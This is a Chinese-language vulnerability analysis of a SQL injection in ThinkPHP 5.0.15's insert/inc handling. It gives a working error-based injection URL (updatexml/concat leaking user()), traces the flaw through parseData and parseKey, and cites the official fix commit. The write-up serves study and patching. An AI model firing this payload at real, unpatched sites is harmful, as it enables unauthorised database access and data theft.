作者:chybeta
来源:先知安全社区
搭建好数据库,以我自己的配置为例。数据库为tptest,表名为user,其中有两个字段id和username
thinkphp官网下载5.0.15版本: http://www.thinkphp.cn/down/1125.html 。修改数据库配置信息 application/database.php。在 application/config.php 中打开调试和trace,app_debug
和app_trace
均为true。在 application/index/controller/Index.php 中Index类中添加方法:
public function testsql() { $username = input('get.username/a'); db('user')->where(['id'=> 1])->insert(['username'=>$username]); }
访问:
http://127.0.0.1/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
通过input获取到参数后,username
变量情况如下:
跟入insert,thinkphp/library/think/db/Query.php:2078
<?php public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null) { // 分析查询表达式 $options = $this->parseExpress(); $data = array_merge($options['data'], $data); ...
接下去执行:
<?php $sql = $this->builder->insert($data, $options, $replace);
跟入 thinkphp/library/think/db/Builder.php:720:
<?php public function insert(array $data, $options = [], $replace = false) { // 分析并处理数据 $data = $this->parseData($data, $options); if (empty($data)) { return 0; } ...
跟入parseData
至 thinkphp/library/think/db/Builder.php:101 ,相关变量信息已经注释添加。
<?php protected function parseData($data, $options) { ... // 注 foreach ($data as $key => $val) { // 第 101 行左右 // $key : "username" // $val : {"inc","updatexml(1,concat(0x7,user(),0x7e),1)","1"} $item = $this->parseKey($key, $options); if (is_object($val) && method_exists($val, '__toString')) { .... } if (false === strpos($key, '.') && !in_array($key, $fields, true)) { ... } elseif (is_null($val)) { ... } elseif (is_array($val) && !empty($val)) { // $val[0] = "inc" switch ($val[0]) { case 'exp': $result[$item] = $val[1]; break; case 'inc': $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); break; case 'dec': $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]); break; } } ... } return $result;
可以看出$val
是数组,且根据$val[0]
值为inc
,会通过switch语句进入到下面这条:
<?php case 'inc': // $val[1] = "updatexml(1,concat(0x7,user(),0x7e),1)" // $val[2] = "1" $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); break;
跟入此处的parseKey
,即thinkphp/library/think/db/builder/Mysql.php:90
<?php protected function parseKey($key, $options = []) { $key = trim($key); if (strpos($key, '$.') && false === strpos($key, '(')) { // JSON字段支持 list($field, $name) = explode('$.', $key); $key = 'json_extract(' . $field . ', \'$.' . $name . '\')'; } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) { list($table, $key) = explode('.', $key, 2); if ('__TABLE__' == $table) { $table = $this->query->getTable(); } if (isset($options['alias'][$table])) { $table = $options['alias'][$table]; } } if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) { $key = '`' . $key . '`'; } if (isset($table)) { if (strpos($table, '.')) { $table = str_replace('.', '`.`', $table); } $key = '`' . $table . '`.' . $key; } return $key; // $key : "updatexml(1,concat(0x7,user(),0x7e),1)" }
此处并未对传入的$key
进行更多的过滤与检查,最后返回的仍然是1 and (updatexml(1,concat(0x7,user(),0x7e),1))
回到parseData
,floatval($val[2])
返回1,这也正是我们要传入username[2]=1
的原因。将其与前面经过parseKey
的结果进行拼接后返回给result
回到 thinkphp/library/think/db/Query.ph 的 insert 中:
sql注入成功。
官方commit: https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b
在进行dec
和inc
操作之前对$val[1]
的值进行了再次确认。